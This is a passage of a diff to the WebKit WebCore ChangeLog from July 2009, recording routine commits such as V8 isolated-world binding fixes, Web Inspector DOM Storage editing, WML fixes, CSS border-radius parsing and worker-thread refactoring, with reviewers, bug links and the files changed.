+        [V8] Fix isolated world wrappers for event handlers
+        https://bugs.webkit.org/show_bug.cgi?id=27533
+
+        Instead of getting the context from the frame, we cache the context
+        when the listener is created so that we get the context for the right
+        world.
+
+        Test: http/tests/security/isolatedWorld/click-event.html
+
+        * WebCore.gypi:
+        * bindings/v8/OwnHandle.h: Added.
+        (WebCore::OwnHandle::OwnHandle):
+        (WebCore::OwnHandle::~OwnHandle):
+        (WebCore::OwnHandle::get):
+        (WebCore::OwnHandle::set):
+        (WebCore::OwnHandle::release):
+        (WebCore::OwnHandle::adopt):
+        (WebCore::OwnHandle::swap):
+        (WebCore::OwnHandle::clear):
+        (WebCore::OwnHandle::makeWeak):
+        (WebCore::OwnHandle::weakCallback):
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
+        (WebCore::V8AbstractEventListener::handleEvent):
+        * bindings/v8/V8AbstractEventListener.h:
+        * bindings/v8/V8DOMWrapper.h:
+
+2009-07-29  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Teach V8Proxy::context about isolated worlds
+        https://bugs.webkit.org/show_bug.cgi?id=27701
+
+        Change V8Proxy::context(Frame*) to understand isolated worlds.  Audit
+        all callers of this method to make sure they want isolated worlds.  In
+        cases where we really want the main world, I've changed the call to
+        V8Proxy::mainWorldContext(Frame*).
+        
+        The main visible change is to the document.open method when called with
+        more than two arguments.  This design seems more likely to lead to
+        future correct code.
+
+        Test: http/tests/security/isolatedWorld/document-open.html
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::processingUserGesture):
+        (WebCore::ScriptController::evaluate):
+        (WebCore::ScriptController::bindToWindowObject):
+        (WebCore::ScriptController::collectGarbage):
+        (WebCore::createScriptObject):
+        (WebCore::ScriptController::createScriptObjectForPluginElement):
+        * bindings/v8/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::handleEvent):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getConstructor):
+        (WebCore::V8DOMWrapper::setHiddenWindowReference):
+        (WebCore::V8DOMWrapper::convertNodeToV8Object):
+        (WebCore::V8DOMWrapper::convertWindowToV8Object):
+        * bindings/v8/V8Helpers.cpp:
+        (WebCore::toV8Context):
+        * bindings/v8/V8LazyEventListener.cpp:
+        (WebCore::V8LazyEventListener::getListenerFunction):
+        (WebCore::V8LazyEventListener::getWrappedListenerFunction):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::context):
+        (WebCore::V8Proxy::mainWorldContext):
+        (WebCore::V8Proxy::bindJsObjectToWindow):
+        * bindings/v8/V8Proxy.h:
+
+2009-07-29  Balazs Kelemen  <kelemen.balazs.3@stud.u-szeged.hu>
+
+        Reviewed by Simon Hausmann.
+
+        Fix the Qt build, add missing file.
+
+        * WebCore.pro:
+
+2009-07-28  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Speculative fix for <rdar://problem/7005077> WER: Crash in
+        WebCore::PluginStream::destroyStream+279 (1310510882)
+
+        Reviewed by Oliver Hunt.
+
+        * plugins/PluginStream.cpp:
+        (WebCore::PluginStream::destroyStream):
+        Move the "protector" RefPtr out of the block that dispatches
+        notifications and into the function level; if NPN_DestroyStream were
+        called from NPP_NewStream as the comment warns, we would be deleted at
+        the end of the block.
+
+2009-07-28  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Inspector: Tab Through the DOM Storage DataGrid when Editing
+
+        https://bugs.webkit.org/show_bug.cgi?id=27746
+
+        Reviewed by Timothy Hatcher.
+
+        * inspector/front-end/DOMStorageDataGrid.js:
+        (WebInspector.DOMStorageDataGrid.prototype._startEditingColumnOfDataGridNode): refactored to directly edit and select a column
+        (WebInspector.DOMStorageDataGrid.prototype._startEditing):
+        (WebInspector.DOMStorageDataGrid.prototype._editingCommitted.moveToNextIfNeeded): handles moveDirection on a commit
+        (WebInspector.DOMStorageDataGrid.prototype._editingCommitted): uses moveToNext to traverse appropriately
+
+2009-07-28  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Inspector: Create New DOM Storage Items via DataGrid
+
+        https://bugs.webkit.org/show_bug.cgi?id=27322
+
+        Reviewed by Timothy Hatcher.
+
+        * inspector/front-end/DOMStorageDataGrid.js:
+        (WebInspector.DOMStorageDataGrid.prototype._startEditing): click anyway means creationNode
+        (WebInspector.DOMStorageDataGrid.prototype._editingCommitted): fix unintended globals
+        (WebInspector.DOMStorageDataGrid.prototype.deleteSelectedRow): creationNode is special case
+        * inspector/front-end/DataGrid.js:
+        (WebInspector.DataGrid.prototype.addCreationNode): maintain a quick ref to the single creationNode
+        (WebInspector.CreationDataGridNode): new type of node
+        (WebInspector.CreationDataGridNode.prototype.makeNormal): convert to a normal node
+        * inspector/front-end/DatabasesPanel.js:
+        (WebInspector.DatabasesPanel.prototype.dataGridForDOMStorage): add a creationNode to the GridData
+
+2009-07-28  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Inspector: Automatically Refresh DOM Storage Grids on "storage" event
+
+        https://bugs.webkit.org/show_bug.cgi?id=27400
+
+        Reviewed by Timothy Hatcher.
+
+        * inspector/front-end/DatabasesPanel.js:
+        (WebInspector.DatabasesPanel.prototype.show): trigger adding the listener
+        (WebInspector.DatabasesPanel.prototype.reset): trigger removing the listener
+        (WebInspector.DatabasesPanel.prototype._registerStorageEventListener): register the listener on the inspected window
+        (WebInspector.DatabasesPanel.prototype._unregisterStorageEventListener): unregister the listener on the inspected window
+        (WebInspector.DatabasesPanel.prototype._storageEvent): handle the storage event
+
+2009-07-28  Keishi Hattori  <casey.hattori@gmail.com>
+
+        Inspector should support inspect() in the command line.
+
+        https://bugs.webkit.org/show_bug.cgi?id=19874
+        rdar://problem/6070225
+
+        Reviewed by Timothy Hatcher.
+
+        * inspector/front-end/Console.js:
+        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled.inspectObject):
+        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled):
+        * inspector/front-end/DatabasesPanel.js:
+        (WebInspector.DatabasesPanel.prototype.revealAndSelectDomStorage): Added.
+        (WebInspector.DatabasesPanel.prototype.revealAndSelectDatabase): Added.
+        (WebInspector.DatabasesPanel.prototype.showDatabase): 
+
+2009-07-28  Keishi Hattori  <casey.hattori@gmail.com>
+
+        The rest of: Web Inspector: Add inspected node using public console API.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27758
+
+        Reviewed by Timothy Hatcher.
+
+        * inspector/front-end/Console.js:
+        (WebInspector.Console.prototype._ensureCommandLineAPIInstalled): Removed _inspectorCommandLineAPI._addInspectedNode.
+        (WebInspector.Console.prototype.addInspectedNode): Added.
+
+2009-07-28  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Accept autocomplete on 'End' key pressed.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27447.
+
+        * inspector/front-end/TextPrompt.js:
+        (WebInspector.TextPrompt.prototype.handleKeyEvent):
+
+2009-07-28  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by David Levin.
+
+        [Qt] Build fix after r46502
+        https://bugs.webkit.org/show_bug.cgi?id=27789
+
+        * WebCore.pro: Remove StorageArea.cpp
+
+2009-07-28  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Follow-on fix to r35582.  Replace main thread assertions with WebCoreObjCScheduleDeallocateOnMainThread
+        in -dealloc overrides in DOMObject subclasses.
+
+        * bindings/scripts/CodeGeneratorObjC.pm:
+
+2009-07-28  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        [WML] WML*Element classes mostly implement insertedIntoDocument(), not removedFromDocument()
+        https://bugs.webkit.org/show_bug.cgi?id=27786
+
+        WML*Element classes mostly implement insertedIntoDocument(), not removedFromDocument().
+        The only case where this is relevant in WML is error handling. The parsed WML
+        tree fragment is inserted in an XHTML compound error document. This requires
+        removedFromDocument() to be correctly implemented otherwhise we run into
+        trouble (visible when using run-webkit-tests fast/wml --random).
+
+        * wml/WMLAnchorElement.cpp:
+        (WebCore::WMLAnchorElement::registerTask):
+        (WebCore::WMLAnchorElement::deregisterTask):
+        * wml/WMLAnchorElement.h:
+        * wml/WMLDoElement.cpp:
+        (WebCore::WMLDoElement::removedFromDocument):
+        (WebCore::WMLDoElement::registerTask):
+        (WebCore::WMLDoElement::deregisterTask):
+        * wml/WMLDoElement.h:
+        * wml/WMLEventHandlingElement.cpp:
+        (WebCore::WMLEventHandlingElement::registerDoElement):
+        (WebCore::WMLEventHandlingElement::deregisterDoElement):
+        * wml/WMLEventHandlingElement.h:
+        * wml/WMLFieldSetElement.cpp:
+        (WebCore::WMLFieldSetElement::removedFromDocument):
+        * wml/WMLGoElement.cpp:
+        (WebCore::WMLGoElement::registerPostfieldElement):
+        (WebCore::WMLGoElement::deregisterPostfieldElement):
+        * wml/WMLGoElement.h:
+        * wml/WMLIntrinsicEventHandler.cpp:
+        (WebCore::WMLIntrinsicEventHandler::deregisterIntrinsicEvent):
+        * wml/WMLIntrinsicEventHandler.h:
+        * wml/WMLOnEventElement.cpp:
+        (WebCore::eventHandlingParent):
+        (WebCore::WMLOnEventElement::registerTask):
+        (WebCore::WMLOnEventElement::deregisterTask):
+        * wml/WMLOnEventElement.h:
+        * wml/WMLPostfieldElement.cpp:
+        (WebCore::WMLPostfieldElement::removedFromDocument):
+        * wml/WMLPostfieldElement.h:
+        * wml/WMLSetvarElement.cpp:
+        (WebCore::WMLSetvarElement::removedFromDocument):
+        * wml/WMLSetvarElement.h:
+        * wml/WMLTaskElement.cpp:
+        (WebCore::WMLTaskElement::removedFromDocument):
+        (WebCore::WMLTaskElement::registerVariableSetter):
+        (WebCore::WMLTaskElement::deregisterVariableSetter):
+        (WebCore::WMLTaskElement::storeVariableState):
+        * wml/WMLTaskElement.h:
+        * wml/WMLTimerElement.cpp:
+        (WebCore::WMLTimerElement::removedFromDocument):
+        * wml/WMLTimerElement.h:
+
+2009-07-28  David Levin  <levin@chromium.org>
+
+        Suggested by Drew Wilson.
+
+        Speculative gtk build fix, follow up to:
+        https://bugs.webkit.org/show_bug.cgi?id=27697
+
+        * GNUmakefile.am:
+
+2009-07-28  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        [CSS3 Backgrounds and Borders] Drop the prefix from the border-radius
+        properties
+        https://bugs.webkit.org/show_bug.cgi?id=27578
+
+        [CSS3 Backgrounds and Borders] Handle the / and 4 values in
+        border-radius
+        https://bugs.webkit.org/show_bug.cgi?id=27584
+
+        Test: fast/borders/border-radius-parsing.html
+
+        Dropped the -webkit- prefix from the individual corner border-radius
+        properties. Added border-radius with the / and 4-value syntax, and
+        maintained -webkit-border-radius with legacy 2-value syntax.
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (computedProperties): Removed Webkit prefix.
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue): Ditto.
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue): Removed Webkit prefix from the
+            single-corner properties. Call out to parseBorderRadius() to parse
+            border-radius and -webkit-border-radius. 
+        (WebCore::completeBorderRadii): Added this helper function that
+            completes the values for all four corners when fewer than four are
+            specified.
+        (WebCore::CSSParser::parseBorderRadius): Added.
+        (WebCore::cssPropertyID): Map -webkit-border-*-*-radius to the
+            unprefixed property.
+        * css/CSSParser.h:
+        * css/CSSPropertyLonghand.cpp:
+        (WebCore::initShorthandMap): Removed the Webkit prefix. Added an entry
+            for border-radius. Kept the entry for -webkit-border-radius.
+        * css/CSSPropertyNames.in: Removed the -webkit- prefix from the
+            single-corenr properties. Added border-radius. Kept
+            -webkit-border-radius because of its conflicting syntax.
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty): Removed the Webkit prefix.
+        * page/animation/AnimationBase.cpp:
+        (WebCore::ensurePropertyMap): Ditto.
+
+2009-07-28  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        Refactored dedicated-worker-specific code from WorkerThread into DedicatedWorkerThread class.
+
+        WorkerThread needs to be refactored to separate out dedicated-worker functionality.
+        https://bugs.webkit.org/show_bug.cgi?id=27697
+
+        This is just a refactoring, so existing tests suffice.
+
+        * GNUmakefile.am:
+        Added DedicatedWorkerThread.h/.cpp
+        * WebCore.gypi:
+        Added DedicatedWorkerThread.h/.cpp
+        * WebCore.pro:
+        Added DedicatedWorkerThread.h/.cpp
+        * WebCore.vcproj/WebCore.vcproj:
+        Added DedicatedWorkerThread.h/.cpp
+        * WebCore.xcodeproj/project.pbxproj:
+        Added DedicatedWorkerThread.h/.cpp
+        * bindings/js/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::evaluate):
+        Removed code to track pending activity - this is handled by DedicatedWorkerContext::importScripts() now.
+        * bindings/v8/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::evaluate):
+        Removed code to track pending activity - this is handled by DedicatedWorkerContext::importScripts() now.
+        * workers/DedicatedWorkerContext.cpp:
+        (WebCore::DedicatedWorkerContext::DedicatedWorkerContext):
+        (WebCore::DedicatedWorkerContext::addMessage):
+        Forwards console messages to parent document.
+        (WebCore::DedicatedWorkerContext::importScripts):
+        Now sends the updated pending activity status after importing scripts.
+        (WebCore::DedicatedWorkerContext::thread):
+        Helper routine that casts WorkerThread to DedicatedWorkerThread.
+        * workers/DedicatedWorkerContext.h:
+        (WebCore::DedicatedWorkerContext::create):
+        * workers/DedicatedWorkerThread.cpp: Added.
+        (WebCore::DedicatedWorkerThread::create):
+        (WebCore::DedicatedWorkerThread::DedicatedWorkerThread):
+        (WebCore::DedicatedWorkerThread::~DedicatedWorkerThread):
+        (WebCore::DedicatedWorkerThread::createWorkerContext):
+        Implementation of the base class factory method to create the appropriate worker context.
+        (WebCore::DedicatedWorkerThread::runEventLoop):
+        Reports pending activity before running the event loop.
+        * workers/DedicatedWorkerThread.h: Added.
+        (WebCore::DedicatedWorkerThread::workerObjectProxy):
+        Moved from base class.
+        * workers/WorkerContext.cpp:
+        * workers/WorkerContext.h:
+        * workers/WorkerMessagingProxy.cpp:
+        (WebCore::WorkerMessagingProxy::startWorkerContext):
+        Now creates DedicatedWorkerThread.
+        (WebCore::WorkerMessagingProxy::workerThreadCreated):
+        Now is passed a DedicatedWorkerThread.
+        * workers/WorkerMessagingProxy.h:
+        * workers/WorkerThread.cpp:
+        (WebCore::WorkerThread::WorkerThread):
+        Moved workerObjectProxy param into derived class constructor.
+        (WebCore::WorkerThread::workerThread):
+        (WebCore::WorkerThread::runEventLoop):
+        Moved the event loop execution into a virtual function so DedicatedWorkerThread could report pending activity first.
+        * workers/WorkerThread.h:
+        (WebCore::WorkerThread::workerContext):
+
+2009-07-28  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Fix V8NPUtils' handling of UTF8 identifiers.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27782
+
+        * bindings/v8/V8NPUtils.cpp:
+        (getStringIdentifier): Treat the input string as UTF8 instead of ASCII,
+            since NPN_GetStringIdentifier() is expecting UTF8.
+
+2009-07-28  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Misc cleanup in DOM Storage.
+        https://bugs.webkit.org/show_bug.cgi?id=27517
+
+        The StorageAreaImpl changes are all for Chromium.  Because the DOM Storage implementation
+        runs in a different process from where the Frame object lives, Chromium passes in NULL
+        for the sourceFrame.  This affects events and handling privateBrowsing.  Chromium's
+        incognito mode does not use the private browsing setting, so that's not a concern.  As for
+        events, I've decided to simply disable them for now.
+
+        The StorageNamespaceImpl changes get rid of a stale comment (path is .copy'ed for thread-
+        safety) and to add an assert that .copy is only ever called on a SessionStorage namespace.
+
+        Also cleaned up tailing whitespace in several parts of StorageAreaImpl.cpp
+
+        * storage/StorageArea.cpp: Removed.  (It was empty anyway.)
+        * storage/StorageAreaImpl.cpp:
+        (WebCore::privateBrowsingEnabled): Factored out the check.
+        (WebCore::StorageAreaImpl::setItem): Make frame optional.
+        (WebCore::StorageAreaImpl::removeItem): ditto
+        (WebCore::StorageAreaImpl::clear): ditto
+        (WebCore::StorageAreaImpl::dispatchStorageEvent): Disable in Chromium for now.
+        * storage/StorageNamespaceImpl.cpp:
+        (WebCore::StorageNamespaceImpl::StorageNamespaceImpl): Remove stale comment.
+        (WebCore::StorageNamespaceImpl::copy): Add assert that it's SessionStorage.
+
+2009-07-28  Alpha Lam  <hclam@google.com>
+
+        Reviewed by David Levin.
+
+        [chromium] Default UI controls for <video> has rendering problems
+        https://bugs.webkit.org/show_bug.cgi?id=27669
+
+        Fixes the bug that <video> in MediaDocument is 1 pixel tall if
+        it is playing an audio file by changing the style to be 32px
+        tall.
+
+        Also fixes a problem of default styled audio tag that hides the
+        all the time digits by expanding the width to 300px.
+
+        Changed the size and position of the current time and remaining
+        display to give enough space for the hour digit to be shown.
+
+        There are no new tests provided because this is already covered
+        by existing tests.
+
+        * css/mediaControlsChromium.css:
+
+2009-07-28  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Fix style in PluginPackage and PluginDatabase.
+        Part of https://bugs.webkit.org/show_bug.cgi?id=27651
+
+        * plugins/PluginDatabase.cpp:
+        (WebCore::PluginDatabase::refresh):
+        (WebCore::PluginDatabase::findPlugin):
+        * plugins/PluginDatabase.h:
+        * plugins/PluginPackage.cpp:
+        (WebCore::PluginPackage::~PluginPackage):
+        (WebCore::PluginPackage::freeLibrarySoon):
+        (WebCore::PluginPackage::freeLibraryTimerFired):
+        (WebCore::PluginPackage::unloadWithoutShutdown):
+        (WebCore::PluginPackage::initializeBrowserFuncs):
+        * plugins/PluginPackage.h:
+
+2009-07-28  Anantanarayanan Iyengar  <ananta@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27769
+        The V8 bindings function V8Proxy::createNewContext can be 
+        called during frame shutdown where the activeDocumentLoader
+        function in FrameLoader can return NULL. Added a check for the
+        same.
+
+        No new tests added as this is an edge case where the V8 
+        bindings code is reentered via NPAPI during shutdown. It is 
+        difficult to write a consistently reproducible test for this.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::createNewContext):
+
+2009-07-28  Ivan Posva  <iposva@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Associate the CanvasPixelData backing store with the
+        indexed properties of the wrapper object.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27773
+
+        No new tests: Relying on existing Canvas tests.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8DOMWrapper::convertToV8Object):
+
+2009-07-28  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Nuke all references to JSWorkerContextBase.lut.h, it was removed
+        back in April.
+
+        * GNUmakefile.am:
+
+2009-07-28  Robert Agoston  <Agoston.Robert@stud.u-szeged.hu>
+
+        Reviewed by Simon Hausmann.
+
+        Fixed references to script generate-webkitversion.pl, and
+        removed duplicated generate-webkitversion.pl
+
+        https://bugs.webkit.org/show_bug.cgi?id=27158
+
+        * WebCore.pro:
+        * platform/generate-webkitversion.pl: Removed.
+
+2009-07-28  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Dmitry Glazkov.
+
+        Web Inspector: encapsulate ScriptState into the ScriptObject, get rid of
+        InspectorJSONObject.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27766
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/ScriptArray.cpp:
+        (WebCore::ScriptArray::ScriptArray):
+        (WebCore::ScriptArray::set):
+        (WebCore::ScriptArray::length):
+        (WebCore::ScriptArray::createNew):
+        * bindings/js/ScriptArray.h:
+        * bindings/js/ScriptFunctionCall.cpp:
+        (WebCore::ScriptFunctionCall::construct):
+        * bindings/js/ScriptObject.cpp:
+        (WebCore::ScriptObject::ScriptObject):
+        (WebCore::ScriptObject::set):
+        (WebCore::ScriptObject::createNew):
+        (WebCore::ScriptGlobalObject::get):
+        * bindings/js/ScriptObject.h:
+        * bindings/js/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+        * bindings/v8/ScriptArray.cpp:
+        (WebCore::ScriptArray::ScriptArray):
+        (WebCore::ScriptArray::set):
+        (WebCore::ScriptArray::length):
+        (WebCore::ScriptArray::createNew):
+        * bindings/v8/ScriptArray.h:
+        * bindings/v8/ScriptFunctionCall.cpp:
+        (WebCore::ScriptFunctionCall::construct):
+        * bindings/v8/ScriptObject.cpp:
+        (WebCore::ScriptObject::ScriptObject):
+        (WebCore::ScriptObject::set):
+        (WebCore::ScriptObject::createNew):
+        (WebCore::ScriptGlobalObject::get):
+        * bindings/v8/ScriptObject.h:
+        (WebCore::ScriptObject::ScriptObject):
+        * bindings/v8/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::addToConsole):
+        * inspector/InspectorDOMStorageResource.cpp:
+        (WebCore::InspectorDOMStorageResource::bind):
+        * inspector/InspectorDatabaseResource.cpp:
+        (WebCore::InspectorDatabaseResource::bind):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::newScriptArray):
+        (WebCore::InspectorFrontend::newScriptObject):
+        (WebCore::InspectorFrontend::addMessageToConsole):
+        (WebCore::InspectorFrontend::addResource):
+        (WebCore::InspectorFrontend::updateResource):
+        (WebCore::InspectorFrontend::addDatabase):
+        (WebCore::InspectorFrontend::addDOMStorage):
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorJSONObject.cpp: Removed.
+        * inspector/InspectorJSONObject.h: Removed.
+        * inspector/InspectorResource.cpp:
+        (WebCore::populateHeadersObject):
+        (WebCore::InspectorResource::createScriptObject):
+        (WebCore::InspectorResource::updateScriptObject):
+
+2009-07-28  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] Variable substitution recursion seems to have bugs
+        https://bugs.webkit.org/show_bug.cgi?id=27726
+
+        Allow <setvar> elements to depend on the value specified by preceeding <setvar> elements.
+        Required by the specification - assure it only works in linear order. A setvar element may
+        not depend on the variable state of a following setvar element, only the previous ones.
+
+        Extend wml/variable-reference-valid.html layout test to cover these cases.
+
+        * wml/WMLTaskElement.cpp:
+        (WebCore::WMLTaskElement::storeVariableState):
+
+2009-07-28  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] Page title doesn't update after variable substitution, if it contained variables
+        https://bugs.webkit.org/show_bug.cgi?id=27725
+
+        Fix bug in containsVariableReference() function, we we're decreasing the nameEndPosition
+        too much, leading to a bug with 1-char variable names, which were not detected properly.
+
+        Extend wml/variable-reference-valid.html layout test to cover 1-char variable names.
+        Also fixes manual-tests/wml/task-refresh-in-anchor.wml, which happened to use 1-char variable names.
+
+        * wml/WMLVariables.cpp:
+        (WebCore::containsVariableReference):
+
+2009-07-28  Robert Hogan  <robert@roberthogan.net>
+
+        Reviewed by Simon Hausmann.
+
+        Add WebKit version API to Qt.
+
+        Get the current version of WebKit from WebKit/mac/Configurations/Version.xcconfig
+        at compile time and make it available to webkit ports through WebKitVersion.h.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27158
+
+        * WebCore.pro: Call generate-webkitversion.pl
+
+2009-07-28  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed make dist build fix.
+
+        * GNUmakefile.am:
+
+2009-07-28  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        Replace hardcoded separator text with proper separator.
+        Also adjusts include order as per style guidelines.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27763
+
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::populate):
+
+2009-07-28  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Steve Falkenburg.
+
+        Add output directory for VS pre-build steps to enable out-of-tree builds
+
+        https://bugs.webkit.org/show_bug.cgi?id=27700
+
+        The tmp.obj file is now placed in the intermediate build directory.
+
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+
+2009-07-28  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add inspected node using public console API.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27758
+
+        * inspector/front-end/Console.js:
+        (WebInspector.Console.prototype.addInspectedNode):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel):
+
+2009-07-28  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] <do> elements with a <noop> task shouldn't be exposed to the user
+        https://bugs.webkit.org/show_bug.cgi?id=27724
+
+        Fix WMLNoopElement to disable it's parent WMLDoElement, as required by the spec.
+        Moved manual-tests/wml/task-noop-in-do.wml to LayoutTests/fast/wml/task-noop-in-do.wml.
+
+        * manual-tests/wml/task-noop-in-do.wml: Removed.
+        * wml/WMLNoopElement.cpp:
+        (WebCore::WMLNoopElement::insertedIntoDocument):
+
+2009-07-28  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Disable some compiler warnings for the win build
+        https://bugs.webkit.org/show_bug.cgi?id=27709
+
+        * WebCore.pro: Move the msvc options to WebKit.pri
+
+2009-07-28  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Tor Arne Vestbø
+
+        Make equality checks for logging channel names ignore casing.
+
+        * platform/Logging.cpp:
+        (WebCore::getChannelFromName):
+
+2009-07-28  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Xan Lopez.
+
+        [Gtk] Refactor ResourceHandleSoup - make start* functions static
+        https://bugs.webkit.org/show_bug.cgi?id=27687
+
+        * platform/network/ResourceHandle.h:
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::startData):
+        (WebCore::startHttp):
+        (WebCore::):
+
+2009-07-28  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25415
+        [GTK][ATK] Please implement support for get_text_at_offset
+
+        Do not cache the pango layout in the object, since the layout of
+        the page can change between calls.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+
+2009-07-23  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Simplify management of Nodes in weak handles callbacks.
+        https://bugs.webkit.org/show_bug.cgi?id=27628
+
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::weakNodeCallback):
+
+2009-07-28  Brian Weinstein  <bweinstein@apple.com>
+
+        Rubber-stamped by David Levin.
+
+        Fix error handling of GetIconInfo (returns a bool).
+
+        * platform/win/DragImageWin.cpp:
+        (WebCore::createDragImageIconForCachedImage):
+
+2009-07-27  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        Fix of <rdar://5015949> Drag Icon is not produced for over sized images.
+        
+        Implemented the createDragImageIconForCachedImage function by using the Windows 
+        SHFILEINFO structure.
+
+        * platform/win/DragImageWin.cpp:
+        (WebCore::createDragImageIconForCachedImage):
+
+2009-07-25  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by David Levin.
+
+        [V8] Split up V8DOMMap.cpp by class
+        https://bugs.webkit.org/show_bug.cgi?id=27685
+
+        No behavior change.  Just copy-and-paste.
+
+        * WebCore.gypi:
+        * bindings/v8/ChildThreadDOMData.cpp: Added.
+        (WebCore::ChildThreadDOMData::ChildThreadDOMData):
+        (WebCore::ChildThreadDOMData::getStore):
+        * bindings/v8/ChildThreadDOMData.h: Added.
+        * bindings/v8/DOMData.cpp: Added.
+        (WebCore::DOMData::DOMData):
+        (WebCore::DOMData::getCurrent):
+        (WebCore::DOMData::getCurrentMainThread):
+        (WebCore::DOMData::handleWeakObject):
+        (WebCore::DOMData::ensureDeref):
+        (WebCore::DOMData::derefObject):
+        (WebCore::DOMData::derefDelayedObjects):
+        (WebCore::DOMData::derefDelayedObjectsInCurrentThread):
+        (WebCore::DOMData::removeObjectsFromWrapperMap):
+        * bindings/v8/DOMData.h: Added.
+        (WebCore::):
+        * bindings/v8/DOMDataStore.cpp: Added.
+        (WebCore::DOMDataStore::DOMDataStore):
+        (WebCore::DOMDataStore::~DOMDataStore):
+        (WebCore::DOMDataStore::allStores):
+        (WebCore::DOMDataStore::allStoresMutex):
+        (WebCore::DOMDataStore::getDOMWrapperMap):
+        (WebCore::forget):
+        (WebCore::DOMDataStore::weakDOMObjectCallback):
+        (WebCore::DOMDataStore::weakActiveDOMObjectCallback):
+        (WebCore::DOMDataStore::weakNodeCallback):
+        (WebCore::DOMDataStore::weakSVGElementInstanceCallback):
+        (WebCore::DOMDataStore::weakSVGObjectWithContextCallback):
+        * bindings/v8/DOMDataStore.h: Added.
+        (WebCore::DOMDataStore::):
+        (WebCore::DOMDataStore::InternalDOMWrapperMap::InternalDOMWrapperMap):
